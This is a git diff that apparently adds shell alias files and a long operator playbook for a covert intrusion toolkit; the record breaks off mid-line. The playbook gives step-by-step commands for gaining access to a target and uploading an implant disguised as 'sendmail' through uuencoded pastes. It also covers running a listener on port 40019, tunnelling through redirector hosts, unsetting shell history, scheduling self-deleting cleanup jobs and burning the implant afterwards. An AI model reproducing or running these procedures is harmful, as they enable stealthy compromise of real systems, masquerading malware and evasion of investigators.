-mkoffset=-lsh source /current/tmp/$NOPEN_MYPID.namefix ; [ -e /current/down/mkoffset.$NOPEN_RHOSTNAME ] || echo -e "\\a\\n\\nYou must run =mkoffset once before -mkoffset works.\\n\\n" ; more /current/down/mkoffset.$NOPEN_RHOSTNAME 2>/dev/null +alias -gets=-gs gets +alias -holdwindow=-gs holdwin +alias -hw=-gs holdwin +alias -hwq=-gs holdwin -q +alias -hq=-gs holdwin -q +alias -popup=-gs popup +alias -pop=-gs popup +alias -popop=-gs popup +alias -pitchlog=-gs pitchlog +alias -histories=-gs histories +alias =wearcup=-gs wearcup +alias -addpath=-gs addpath +alias -tput=-gs tput +alias -atouch=-gs asciitouch +#alias -didthis=-gs scriptcheck quiet +alias -didthis=-gs sessioninit reinit +alias -autopilot=# DEPRECATED: See gs.tput/autotput as example of new way with autoport +#alias -prepstun=-gs prepstun +alias -uz=-gs uz +alias -mz=-gs mz +alias -burnBURN=-gs burnBURN +alias -bb=-gs burnBURN +alias -bB=-gs burnBURN +alias -rr=-gs runningrats +alias -runningrats=-gs runningrats +alias -crashdump=-gs crashdump +alias -cc=-gs crashcheck +alias =install=-gs install +alias -getnewsuc=-gs getnewsuc +alias -addalias=-gs addalias +alias -putfiles=-gs putfiles +alias -noproxy=-gs noproxy +alias -mypath=# No host-specific path, use -addpath -A to make one +alias -mynorc=# No host-specific aliases, use -addalias to make one +alias -myname= +alias -myname2= +alias -lsget=-gs lssnew -G + +# Several dangerous remote commands are disabled via aliasing. +# To use the command (bypass the alias), precede it with \. +#alias hostname=-lsh echo -e "\\a\\n\\nREMOTE hostname COMMAND IS DISABLED.\\n\\n" ; sleep 2 ;echo -e "\\a\\n\\nREMOTE hostname COMMAND IS DISABLED.\\n\\n" +alias hostname=-lsh echo -ne "\\aREMOTE hostname COMMAND IS DISABLED." > /current/tmp/.hostname.disabled ; /current/etc/autogetinput -P /current/tmp/.hostname.disabled -O /current/tmp/.hostname.disabled.ans OK +alias reboot=-lsh echo -ne "\\aREMOTE reboot COMMAND IS DISABLED." > /current/tmp/.reboot.disabled ; /current/etc/autogetinput -P /current/tmp/.reboot.disabled -O /current/tmp/.reboot.disabled.ans OK +alias halt=-lsh echo -ne "\\aREMOTE halt COMMAND IS DISABLED." > /current/tmp/.halt.disabled ; /current/etc/autogetinput -P /current/tmp/.halt.disabled -O /current/tmp/.halt.disabled.ans OK +alias shutdown=-lsh echo -ne "\\aREMOTE shutdown COMMAND IS DISABLED." > /current/tmp/.shutdown.disabled ; /current/etc/autogetinput -P /current/tmp/.shutdown.disabled -O /current/tmp/.shutdown.disabled.ans OK + +#alias -chili=-lsh echo "Do not run -chili directly, use the -lss -C\\a" + + +alias -ctrl=-gs stoicctrl +alias -lshidden=-gs stoicctrl -LN +alias -rsync=-gs rsync +alias -wh=-gs lss -P +alias -nsget=-gs lss -GLNOSEND +alias =deploy=-gs deploy +alias =nocheck=-gs nocheck +alias =wrapsift=-gs wrapsift +alias =call=-gs altcall +alias -namefix=-lsh /current/etc/nopennamefix +alias =ercheck=-gs toolcheck +alias =toolcheck=-gs toolcheck +alias -bwsofar=-gs bwsofar +alias =stoiccheck=-gs stoiccheck + +alias -problem=-gs problem +alias -pitch=-gs problem -T PITCHIMPAIR +alias -noproblem=-gs problem -T NOPEN +alias -exp=-gs problem -T EXP +alias -dev=-gs problem -T DEV +alias -ep=-gs problem -T EP +alias -pc=-gs problem -T PC +alias -dsz=-gs problem -T DSZ +alias -self=-gs problem -T SELF +alias -note-to-self=-gs problem -T SELF +alias -note=-gs problem -T SELF + +alias -nonopen=-gs problem -N +alias -newop=-gs problem -O +alias -newproject=-gs problem -P +alias -newsched=-gs problem -S +alias -newschedule=-gs problem -S +alias -jackpop=-gs jackpop + +alias -psg=-gs builtinpsgrep diff --git a/Linux/etc/norc.aix b/Linux/etc/norc.aix new file mode 100644 index 0000000..f5b2c55 --- /dev/null +++ b/Linux/etc/norc.aix @@ -0,0 +1,24 @@ + +# Solaris + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/ucb + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps -ef +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping +alias =crashps=echo p | crash +alias =df=df -k +alias =di=df -i +alias =procinfo=psrinfo -v +alias =rpcinfo=rpcinfo ; rpcinfo -p +alias =locale=locale +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one +alias =surveydothis=-gs surveydothis.aix +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/norc.bsd b/Linux/etc/norc.bsd new file mode 100644 index 0000000..be8c4ac --- /dev/null +++ b/Linux/etc/norc.bsd @@ -0,0 +1,21 @@ + +# Linux + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin + +alias -pacct=-ls -t /var/log/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps -aux +alias =psg=ps -aux | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df +alias =procinfo=cat /proc/cpuinfo +alias =locale= +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps -aux | egrep +alias =psgv=ps -aux | egrep -v diff --git a/Linux/etc/norc.bsdi b/Linux/etc/norc.bsdi new file mode 100644 index 0000000..773ef81 --- /dev/null +++ b/Linux/etc/norc.bsdi @@ -0,0 +1,19 @@ + +# BSDi + +:PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/contrib/bin + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps auxww +alias =psg=ps auxww | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps auxww | egrep +alias =psgv=ps auxww | egrep -v diff --git a/Linux/etc/norc.darwin b/Linux/etc/norc.darwin new file mode 100644 index 0000000..574d9c6 --- /dev/null +++ b/Linux/etc/norc.darwin @@ -0,0 +1,21 @@ + +# Darwin 2012-01-05 11:13:46 EST + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin + +alias -pacct=-ls -t /var/log/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps -ef +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df -k +alias =di=df -li +alias =rpcinfo=rpcinfo -p +alias =locale=locale +alias =autorpc=-scan rpc 127.0.0.1 one +alias =route=route -n +alias =ipl=-gs iptables-list +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/norc.freebsd b/Linux/etc/norc.freebsd new file mode 100644 index 0000000..68e70af --- /dev/null +++ b/Linux/etc/norc.freebsd @@ -0,0 +1,20 @@ + +# FreeBSD Thu Oct 27 10:57:10 EDT 2011 + +:PATH=/sbin:/usr/sbin:/bin:/usr/bin + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps auxww +alias =psg=ps auxww | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df +alias =locale= +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one +alias =di=df -i +alias =pse=ps auxww | egrep +alias =psgv=ps auxww | egrep -v diff --git a/Linux/etc/norc.hp-ux b/Linux/etc/norc.hp-ux new file mode 100644 index 0000000..2d72e00 --- /dev/null +++ b/Linux/etc/norc.hp-ux @@ -0,0 +1,22 @@ + +# HP-UX + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps -ef +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=# WARNING! NO PING COMMAND "ping host -n count" +alias =di=df -i +alias =df=df -kP +alias =mac=lanscan -v +alias =locale=locale +alias =alwaysdothis= +#alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/norc.hpux b/Linux/etc/norc.hpux new file mode 120000 index 0000000..69c6820 --- /dev/null +++ b/Linux/etc/norc.hpux @@ -0,0 +1 @@ +norc.hp-ux \ No newline at end of file diff --git a/Linux/etc/norc.ios b/Linux/etc/norc.ios new file mode 100644 index 0000000..50c865f --- /dev/null +++ b/Linux/etc/norc.ios @@ -0,0 +1,2 @@ +# IOS +alias -burnBURN=-lsh echo -burnBURN is disabled on IOS routers, use -burn instead. \ No newline at end of file diff --git a/Linux/etc/norc.irix b/Linux/etc/norc.irix new file mode 100644 index 0000000..80761ec --- /dev/null +++ b/Linux/etc/norc.irix @@ -0,0 +1,20 @@ + +# IRIX + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd:/usr/etc + +alias -pacct=# WARNING! NO PROCESS ACCOUNTING CHECK + +alias =ps=ps -ef +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -a +alias =ping=ping -c 1 +alias =df=df -k +alias =locale=locale +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/norc.irix64 b/Linux/etc/norc.irix64 new file mode 100644 index 0000000..80761ec --- /dev/null +++ b/Linux/etc/norc.irix64 @@ -0,0 +1,20 @@ + +# IRIX + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd:/usr/etc + +alias -pacct=# WARNING! NO PROCESS ACCOUNTING CHECK + +alias =ps=ps -ef +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -a +alias =ping=ping -c 1 +alias =df=df -k +alias =locale=locale +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/norc.junos b/Linux/etc/norc.junos new file mode 100644 index 0000000..5682714 --- /dev/null +++ b/Linux/etc/norc.junos @@ -0,0 +1,22 @@ + +# FreeBSD based JUNOS router + +:PATH=/sbin:/usr/sbin:/bin:/usr/bin + +alias -pacct=-ls -t /var/log/*acct* /var/*acc* /var/log/account/*acct* + + +alias =ps=ps auxww +alias =psg=ps auxww | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df +alias =locale= +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one +alias -w=-lsh echo -e "\\n\\n\\n\\t THERE IS NO WORKING -w ON THIS OS. USE (non builtin) w.\\n\\n\\n" +alias =di=df -i +alias =pse=ps auxww | egrep +alias =psgv=ps auxww | egrep -v diff --git a/Linux/etc/norc.linux b/Linux/etc/norc.linux new file mode 100644 index 0000000..799924f --- /dev/null +++ b/Linux/etc/norc.linux @@ -0,0 +1,26 @@ + +# Linux Mon Jun 28 22:38:56 UTC 2010 + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin + +alias -pacct=-ls -t /var/log/*acct* /var/*acc* /var/log/account/*acct* + +# Was: alias =ps=ps -auxwwwww +alias =ps=ps -HlAwwwef +alias =psg=ps -HlAwwwef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df -k +alias =di=df -li +alias =procinfo=cat /proc/cpuinfo +alias =rpcinfo=rpcinfo -p +alias =locale=locale +alias =alwaysdothis=-gs autodothis.linux +alias =autorpc=-scan rpc 127.0.0.1 one +alias =surveydothis=-gs surveydothis.linux +alias =surveydothis2=-gs kernelstuff.linux +alias =route=route -n +alias =ipl=-gs iptables-list +alias =pse=ps -HlAwwwef | egrep +alias =psgv=ps -HlAwwwef | egrep -v diff --git a/Linux/etc/norc.mirapoint b/Linux/etc/norc.mirapoint new file mode 100644 index 0000000..9ba2c4d --- /dev/null +++ b/Linux/etc/norc.mirapoint @@ -0,0 +1,20 @@ + +# FreeBSD derivative Thu Oct 27 10:57:10 EDT 2011 + +:PATH=/sbin:/usr/sbin:/bin:/usr/bin + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps auxww +alias =psg=ps auxww | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df +alias =locale= +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one +alias =di=df -i +alias =pse=ps auxww | egrep +alias =psgv=ps auxww | egrep -v diff --git a/Linux/etc/norc.openbsd b/Linux/etc/norc.openbsd new file mode 100644 index 0000000..9c83428 --- /dev/null +++ b/Linux/etc/norc.openbsd @@ -0,0 +1,20 @@ + +# FreeBSD + +:PATH=/sbin:/usr/sbin:/bin:/usr/bin + +alias -pacct=-ls -t /var/account /var/*acc* /var/log/account/*acct* + +alias =ps=ps auxww +alias =psg=ps auxww | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df +alias =locale= +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps auxww | egrep +alias =psgv=ps auxww | egrep -v diff --git a/Linux/etc/norc.osf1 b/Linux/etc/norc.osf1 new file mode 100644 index 0000000..93ff901 --- /dev/null +++ b/Linux/etc/norc.osf1 @@ -0,0 +1,20 @@ + +# OSF/1 + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps auxwwww +alias =psg=ps auxwwww | grep +alias =nsg=netstat -an | grep +alias =arp=netstat -Hn +alias =ping=ping -c 1 +alias =df=df -k +alias =locale=locale +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps auxwwww | egrep +alias =psgv=ps auxwwww | egrep -v diff --git a/Linux/etc/norc.sco_sv b/Linux/etc/norc.sco_sv new file mode 100644 index 0000000..46a0e70 --- /dev/null +++ b/Linux/etc/norc.sco_sv @@ -0,0 +1,18 @@ + +# SCO + +:PATH=/bin:/usr/bin:/sbin:/etc + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df -k +alias =alwaysdothis= +alias -elevate=-lsh echo -n Please insert another token..... 1>&2 ; sleep 6 ; echo . +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/norc.solaris b/Linux/etc/norc.solaris new file mode 100644 index 0000000..015b34b --- /dev/null +++ b/Linux/etc/norc.solaris @@ -0,0 +1,28 @@ + +# Solaris Wed Feb 15 13:44:54 EST 2012 + +:PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/ucb + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* +#alias -logs=-gs lss /var/log /var/adm + +alias =ps=ps -ef +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping +alias =crashps=echo p | crash +alias =df=df -k +alias =di=df -oi +alias =procinfo=psrinfo -v +alias =rpcinfo=rpcinfo ; rpcinfo -p +alias =locale=locale +alias -coreadm=-cat /etc/coreadm.conf +alias =isainfo=isainfo -bv ; isainfo -kv ; isainfo -nv ; isalist +alias =alwaysdothis=-gs autodothis.solaris +alias =surveydothis=-gs surveydothis.solaris +alias =autorpc=-scan brpc 127.0.0.1 one +alias =route=netstat -rn + +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/norc.unix_sv b/Linux/etc/norc.unix_sv new file mode 100644 index 0000000..d71599e --- /dev/null +++ b/Linux/etc/norc.unix_sv @@ -0,0 +1,18 @@ + +# UnixWare 7.0.1 (satan) + +:PATH=/bin:/usr/bin:/sbin:/etc + +alias -pacct=-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct* + +alias =ps=ps -ef +alias =psg=ps -ef | grep +alias =nsg=netstat -an | grep +alias =arp=arp -an +alias =ping=ping -c 1 +alias =df=df -k +alias =alwaysdothis= +alias =autorpc=-scan rpc 127.0.0.1 one + +alias =pse=ps -ef | egrep +alias =psgv=ps -ef | egrep -v diff --git a/Linux/etc/opscript.txt b/Linux/etc/opscript.txt new file mode 100644 index 0000000..b12d7db --- /dev/null +++ b/Linux/etc/opscript.txt @@ -0,0 +1,11696 @@ +#### PITCHIMPAIR-LINUX +#### some.target.ip +#### 1.2.3.4 +#### /tmp/socket-root + +#### CONNECT (or has scrubhands already done this for you?) + +phone start + + +#### REDIAL (if using same ISP and still have floppy this is faster) + +redial + + +#### TCPDUMP + +cd /current/down +script -af tcpdump.raw +date; pwd; uname -a; ifconfig -a +tcpdump -ni ppp0 + +tcpdump -ni eth0 + +#### WORKING WINDOWS (also use "myenv" at any local prompt for pastables) + +xterm & +cd /current/down +script -af script.$$ +DISPLAY=:0.0 +PS1="\t \h \w> " +PATH=../bin:/current/bin:/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin +export DISPLAY PS1 PATH; date; pwd; uname -a; netstat -rn ; ifconfig -a + + + +#### PITCHIMPAIR-LINUX +#### some.target.ip +#### 1.2.3.4 +#### /tmp/socket-root + +#### TOUCH (see also -nslookup -trace -ping and -icmptime from a NOPEN redirector) + +nslookup some.target.ip +nslookup 1.2.3.4 +nslookup -query=mx target.ip +nslookup -query=mx 1.2.3.4 + +ping -nc 5 1.2.3.4 + +traceroute 1.2.3.4 +traceroute -n 1.2.3.4 + +# or with ICMP +traceroute -I 1.2.3.4 + + +#### INC + +#### See ourtn's many many options, to include new triggers +ourtn -h +ourtn -H + +#### Get on up there +ourtn -ue 1.2.3.4 + +# if that one fails you have wrong ip maybe or try this +tn.spayed 1.2.3.4 + +#### INC TUNNEL (OLD WAY) + +tunnel -localport 80 -tunnel FIRSTIP:port -target FIRSTIP -target SECONDIP + +#### INC ONLY (no NOPEN) + +ourtn 1.2.3.4 + +#### What to do? + +w + +# either make a working dir +mkdir /tmp/socket-root && cd /tmp/socket-root && chmod 0700 . +# or just use /tmp if deleting immediately... +cd /tmp && ls -arlt && pwd + +~~p +../up/noserver sendmail + +chmod 700 sendmail && netstat -an | grep 40019.*LISTEN || (PATH=. D="-l 40019" sendmail && rm sendmail) ; ls -arlt + +# ps -- choose one or more +echo p | crash +ps -ef +ps -efwww +pa auxwww + +# NOPEN for business... (should not need if using ourtn -ue, and +# also can be found via didthis if using ourtn) + +cd /current/down +../bin/noclient 1.2.3.4:40019 + + +#### JL without jackpop redirector + +suntelnet.sh 1.2.3.4 LOCALIP 23064 /tmp/socket-root sendmail 13 40019 + + +#### JL with -jackpop +# Don't forget: -jackpop does not like its old windows +# existing still on later tries. + +-jackpop 1.2.3.4 13 REDIRECTIP 23064 + +###################################################### BEGIN -jackpop/nopen one-port +###################################################### BEGIN -jackpop/nopen one-port +###### +## NOTE: If problems (like lost connections) occur midstream with this method, +## look for our processes stranded on target (uudecode, sendmail, +## pt). If INCISION blessed, these will be hidden processes that will +## show up in a NOPEN =psdiff command as HIDDEN. +###### +###### +## JL via single available port (13 and 25 will both work) and +## run NOPEN session via that port too. +## Use this when JL trigger port is one and only port in or out. +###### +###### +## LOCALLY Start this in a scripted window. +## The local poptop will connect to 8080 down below. +###### +myenv +noclient -l 8080 + + +###### +## LOCAL PREP (can do from any local dir--paste complete blocks) +## Some of these you willl not use, FYI. +###### +## Unalias cp since these prompt otherwise +unalias cp +## Make sure this is right noserver +packrat -l sendmail /current/up/noserver +## Equivalently, do this step by step if you want: +## cp /current/up/noserver /current/up/sendmail +## compress -c /current/up/sendmail > /current/up/sendmail.Z +## chmod 755 /current/up/noserver /current/up/sendmail* +## uuencode /current/up/sendmail.Z sendmail.Z > /current/up/sendmail.Z.uu +## pick right poptop +cp /current/up/poptop.i586-pc-linux-gnu /current/up/pt +sum -s /current/up/pt /current/up/sendmail +chown 0:0 /current/up/pt* /current/up/sendmail* +tar -C /current/up -cvf /current/up/u.tar sendmail pt +compress -c /current/up/u.tar > /current/up/u.tar.Z +uuencode /current/up/u.tar.Z u.tar.Z > /current/up/u.tar.Z.uu +ls -arlt /current/up | egrep "uu$|u.tar|sendmail| pt|poptop|noserver" +## Following should contain both sendmail and pt +tar tvzf /current/up/u.tar.Z + +## Only need this if not using the "mostly automated" method below +gedit /current/up/u.tar.Z.uu& + +## Probably don't need the rest unless target has no tar or uncompress: +uuencode /current/up/pt pt > /current/up/pt.uu +uuencode /current/up/sendmail sendmail > /current/up/sendmail.uu +uuencode /current/up/u.tar u.tar > /current/up/u.tar.uu +gedit /current/up/*.uu& +ls -arlt /current/up | egrep "uu$|u.tar|sendmail| pt|poptop|noserver" + + +###### +-jackpop 1.2.3.4 13 REDIRECTIP 23064 +## Option 3 run command on target. +## Choose offset if needed, and IN bless or not as desired. +3 + + +############################################ +###### EITHER CHOOSE THIS COMMAND +## Mostly automated method--only works if you uudecode is on target. +## AND YOU DO NOT GET AN INTERACTIVE SHELL--until NOPEN is up and +## running, that is. (The environment syntax here will fail on csh +## or tcsh, e.g. with FreeBSD.) +## +## If this fails (due to missing uudecode, for example), you will +## be dropped into a shell, instead. +###### +## IF this next line comes back with OOPS you are in an interactive shell and +## something failed with the command (wrong shell? uudecode/uncompress not there?) +## +##NON-ICESKATE METHOD (using poptop): +## +##stty -echo;mkdir -p /tmp/socket-root ; cd /tmp/socket-root;pwd;(R=1 export R;sleep 5;uudecode&&uncompress u.tar.Z&&tar xf u.tar&&PATH=. D=-l40019 sendmail&&rm -f sendmail u.tar&&PATH=. exec pt 40019)||(echo OOPS&&exec sh) +## +#### +## MODIFIED SINCE NO POPTOP AVAILABLE IN OP +## +## +stty -echo;mkdir -p /tmp/socket-root ; cd /tmp/socket-root;pwd;(R=1 export R;sleep 5;uudecode&&uncompress sendmail.Z&&PATH=. D=-l40019 ./sendmail&&rm -f sendmail)||(echo OOPS&&exec sh) +## + +###### OR CHOOSE THIS COMMAND############### +## More Manual method, gives interactive shell--WHOSE CONTENTS GO ACROSS IN THE CLEAR. +###### +# Command to run (some prep, then exec shell): +cd /tmp ; ls -arlt ; mkdir -p /tmp/socket-root ; cd /tmp/socket-root ; ls -alrt ; pwd ; exec sh +########################## + + +###### +## That pops up a window connecting to port 13 +###### + + +#################################### IF USING MOSTLY AUTOMATED CHOICE ABOVE +###### +## REMOTE in popped up shell window +###### + +## If using port 25 as your JL port, you have to quit out of the SMTP +## negotiation before continuing. +quit + + +## This causes local spawn program to push up /current/up/u.tar.Z.uu if +## it exists, but it can also take an argument of what uuencoded/ascii +## file to push up with: +## --p (defaults to /current/up/u.tar.Z.uu ) +## --p /current/up/someotherfile +## +## MODIFIED SINCE NO POPTOP AVAILABLE IN OP +## +## +--p /current/up/sendmail.Z.uu + +## Continue after seeing the traffic for the upload +## stop in the NOPEN/-jackpop window. + +## This "--- +" string causes the remote and local poptop programs to +## synch up to the waiting NOPEN server and client and should cause +## the NOPEN listener locally to start its connection to the target. +--- + +## Answer "A" to abort the autodone on the first NOPEN connection. +## Let autodone complete in one of your new windows you start up via +## the -tunnel command that follows after "END IF" +A + +## Clean up (files should be gone already, might have working directory still) +-lt +-cd /tmp +-rm /tmp/socket-root + +## The "sh -c stty -echo;..." process can and must be killed +ps -ef | grep stty +kill -9 THATPID + +## After that, just "pt 40019" and "sendmail" processes remain +## and must stay until end of op +ps -ef + +## Continue below after the "END IF" line similar to this "ELSE IF" one. + +#################################### ELSE IF USING MANUAL CHOICE +################ +#### WARNING: +#### This popped up shell window must be exited with "exit" and NOT ^D. +#### If you exit with ^D the sh and maybe other processes will be +#### stranded and not die cleanly. +################ + +###### +## This is important: without it the paste to the uudecode fails, but +## otherwise it doesn't do much visibly. +###### +stty -echo + +# We use this shell to upload poptop and noserver. +# But first...(paste the whole bunch) +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +type perl uudecode uncompress tar + +# if the type command fails try: +which perl uudecode uncompress tar + +###### +## no uudecode but we do have perl on target? +###### +## LOCALLY run one of these (brings up new tab in gedit--use it) +## if uncompress on target +uudecode.pastable /current/up/u.tar.Z u.tar.Z +## if not +uudecode.pastable /current/up/u.tar u.tar + +###### +## LOCALLY select the gedit tab for what you want to +## paste up there (based on whether uncompress is there) +## Then middle-click paste it into target window. +###### +###### +## REMOTE--choose whatever makes sense--all should be safe +###### +ls -arlt +uncompress *Z +for i in *tar ; do tar xvf $i ; done +ls -arlt +ls sendmail pt && rm u.tar* + + +###### +## REMOTE -- Time to run NOPEN (and it inherits this session via pt) +###### +# Start server listening and connect to it via poptop +# (you should see "tty should be setup...") +PATH=. D=-l40019 sendmail +PATH=. pt 40019 + +# Typing this next "--- +" string activates poptop here and +# there to connect a local noclient to the remote noserver +# via this already established TCP session. +--- + +###### +## FINI - clean up a bit +###### +## Once NOPEN is up and running, both the previous hop's +## noclient window where -jackpop was run and the shell +## window it popped up will be tied up until we're done +## on the jackladder'd target. +###### +-cd /tmp +-ls /tmp/socket-root +rm -rf /tmp/socket-root + + +#################################### END IF (CHOICE OF WHICH, MANUAL OR AUTO?) + +# Op away.... + +# AUTODONE ?? Skip the autodone stuff in your first window on target, +# since that NOPEN session things the target's IP is 127.0.0.1. +# Instead, use the multiple window -tunnel trick below. In tnose +# new noclient windows on target, the correct target IP is used +# for all of the autodone stuff. + +######################## +## Need multiple NOPEN windows? This is the only way... +######################## +###### +## REMOTE start thistunnel +###### +-tunnel +l 40019 1.2.3.4 40019 + +###### +## LOCALLY as many times as you need windows +###### +noclient -c "-cd /tmp" 127.0.0.1:40019 + + + +###### Bailing +## First, -exit any NOPEN sessions you started via the -tunnel, +## close that tunnel and quit out of -tunnel. +## +## Burn the NOPEN server. Post -burn/BURN on the new nopen, +## the popped up window should exit on its own. Use the "DONE" +## in the -jackpop window then. +###### +-burn +BURN + + +DONE +######################################################## END -jackpop/nopen one-port +######################################################## END -jackpop/nopen one-port + + + +#### JL with uploaded jackpop binary (way old way) + +RA=REDIRECTIP RP=43122 \ +TA=1.2.3.4 TP=13 \ +sgitelnet.sh REDIRECTIP REDIRECTIP 23064 \ +/tmp/socket-root sendmail 43122 40019 + +#### Upload jackpop before pasting command to redirector + +~~p +../bin/jackpop jp + +#### in NOPEN window on redirector you'll need + +-rtun 23064 + +#### Now paste in the "chmod 700 && ....." command sgitelnet.sh gave you + + +#### CONNECT +#### PITCHIMPAIR-LINUX +#### some.target.ip +#### 1.2.3.4 +#### /tmp/socket-root + +../bin/noclient 1.2.3.4:40019 + +-nstun 1.2.3.4 40019 + +-rm sendmail + + + +#### GOT ROOT? + +-gs info + +# AT JOB +cd /; echo "rm -rf /tmp/socket-root > /dev/null 2>&1" | at now + 180 minutes +at -l; date + +mx +:%s/^at -r .*$/ at -r #### /g +`x + +#### SURVEY + +-gs survey + +df -k + +-find some.find + +-lsh egrep '(tftpboot|cisco|router|hack|\.\.\.|tacac|ssh)' cmdout/some-find +-lsh egrep '(trip|twz|tw.config|aset)' cmdout/some-find + + +#### GO FREESTYLE +#### PITCHIMPAIR-LINUX +#### some.target.ip +#### 1.2.3.4 +#### /tmp/socket-root +### +### BEGIN USER.MISSION File user.mission.generic.COMMON (see also ../etc/user.mission.generic.COMMON) +### + +############- TOUCH +#only from redirector **SKIP** + +nslookup domain +nslookup ip +nslookup -query=mx domain_name +nslookup -query=mx domain_name + +############- on solaris pingflag is -s +ping IP + + TTL OS + 2 - 32 Windows for Workgroups + 2 - 32 Windows 95 + + 34 - 64 Red Hat Linux (< version 6.0) + 34 - 64 Digital UNIX + 34 - 64 SCO + + 98 - 128 Windows NT + 98 - 128 Windows 95 w/MS Dialup Network Upgrade + 98 - 128 Windows 98 + + 225 - 255 UNIX + Note: recent Sun OS 5.9 boxes TTL 34-64. + +################### PITCHIMPAIR INSTRUCTIONS ###################################### + + +### +### begin user.mission.pitchimpair +### + + ### get rid of pesky spaces at beginning of lines (fixes pasted html) +:%s/^[ ]*//g +:1 + + + ### Set up variables. Use the next section for reference. + + ## Description Typical Value Actual Value This OP + ## --------------- ------------- -------------------- + ## local-ip: LOCAL_IP + ## pitch-ip: PITCH_IP + ## target-ip: TARGET_IP + ## target-name: TARGET_NAME + ## target-domain: TARGET_DOMAIN + ## netcat-port: random NETCAT_PORT + ## rat-port: nopen port RAT_PORT + ## rat-name: sendmail RAT_NAME + ## work-dir: .scsi WORK_DIR + + # Make the changes here. Use the above for reference if you need it. + + + + +####################################################################### +# +# Need a new userlist ? +# +# -ls /global/m*/MB/*/*/*/mailinfo.dat > 